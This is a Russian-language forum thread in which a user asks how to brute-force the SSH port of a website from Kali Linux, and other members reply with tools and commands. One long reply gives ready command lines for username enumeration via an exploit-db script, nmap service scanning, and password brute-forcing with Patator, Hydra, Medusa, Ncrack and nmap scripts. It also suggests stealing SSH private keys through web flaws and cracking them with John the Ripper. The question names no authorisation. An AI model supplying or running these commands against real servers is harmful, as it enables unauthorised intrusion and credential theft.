ssh брут

Dogoda · 18.07.2022

Все привет.
как , и чем правильно брутить ssh порт сайта из Kali linux?

Exited3n · 18.07.2022

Dogoda сказал(а):
Все привет.
как , и чем правильно брутить ssh порт сайта из Kali linux?

Hydra

.Method · 18.07.2022

Dogoda сказал(а):
Все привет.
как , и чем правильно брутить ssh порт сайта из Kali linux?

В этом вопросе очень хорошо поможет гугление.

Dogoda · 18.07.2022

ну спасибо как обычно, что я там только не нагуглил уже

Dogoda · 18.07.2022

в Кали уже стоит THC Hydra?

Exited3n · 19.07.2022

Dogoda сказал(а):
в Кали уже стоит THC Hydra?

Да, можно кстати проверить не спрашивая не форуме

Crazy Jack · 19.07.2022

Dogoda сказал(а):
Все привет.
как , и чем правильно брутить ssh порт сайта из Kali linux?

Здесь хорошо описаны инструменты и примеры - Brute-Forcing SSH

Rukh · 20.07.2022

Если будет интересно, распишу подробнее в какой-нить статье.
Ниже то, что стоит проработать.

- используемые wordlists выбираются индивидуально. Для того, чтобы посмотреть, что у вас есть в системе, наберите locate wordlist --> отобразится большой список файлов со словом wordlist
Вам пригодятся те, что с passwords и usernames. Можно самому делать словари, crunch - ссыль
Отдельно вот Вам ссыль на списки

1) Перебор пользователей
python /usr/share/exploitdb/exploits/linux/remote/40136.py -U /usr/share/seclists/Usernames/Names/names.txt 10.10.1.1

2) Граб служб (например ответом может быть: SSH-2.0-OpenSSH_3.9p1 )
- далее можно искать через searchsploit OpenSSH 3.9p1 рекомендации.
nmap -sV -p 22 10.10.1.1 . Позже можно глянуть что такое RustScan - ссыль
- порт ssh не только 22

3) Patator - имеет модуль ssh_login ссыль
patator ssh_login host=10.10.1.1 user=FILE0 0=user.txt password=FILE1 1=pass.txt

4) Hydra - ссыль
hydra -l admin -P <passlist.txt> 10.10.1.1 -t 4 ssh
hydra -L <userlist.txt> -P <passlist.txt> 10.10.1.1 ssh

5) Mesuza - имеет модуль ssh.mod ссыль
medusa -h 10.10.1.1 -U userlist.txt -P passlist.txt -M ssh

6) Ncrack - ссыль
ncrack –v –U userlist.txt –P passlist.txt 10.10.1.1:22

7) nmap (zenmap тоже самое) - ссыль
nmap 10.10.1.1 -p 22 --script ssh-brute --script-args userdb=userlist.txt,passdb=passlist.txt

---

Помните, что брут - это гадость, которая делается, когда Вы точно попробовали всё остальное.

Собственно, всё остальное: LFI, RFI, IDOR, XXE, SSRF, XSS, CSRF и пр.
Также можно получить логины пароли из БД, т.к. часто логины-пароли могут совпадать с основной системой. Это уже с помощью sql-приблуд.
Пробуйте в админках дефолтные для cms данные для ввода, люди ленивы.
Возможно до брута получится через уязвимости в вебе сайта получить rsa ключи.
- По умолчанию лежат здесь:
  - $user/.ssh/id_rsa
  - $user/.ssh/authorized key
  - Брутятся rsa с помощью john the ripper /usr/share/john/ssh2john.py ссыль

Брутить ssh можно и на bash и на netcat, но надо понимать, зачем Вы это делаете.

AbuPushka · 21.07.2022

Dogoda сказал(а):
Все привет.
как , и чем правильно брутить ssh порт сайта из Kali linux?

как освоишься с hydra, можешь переходить к patator, он более гибкий для работы в будущем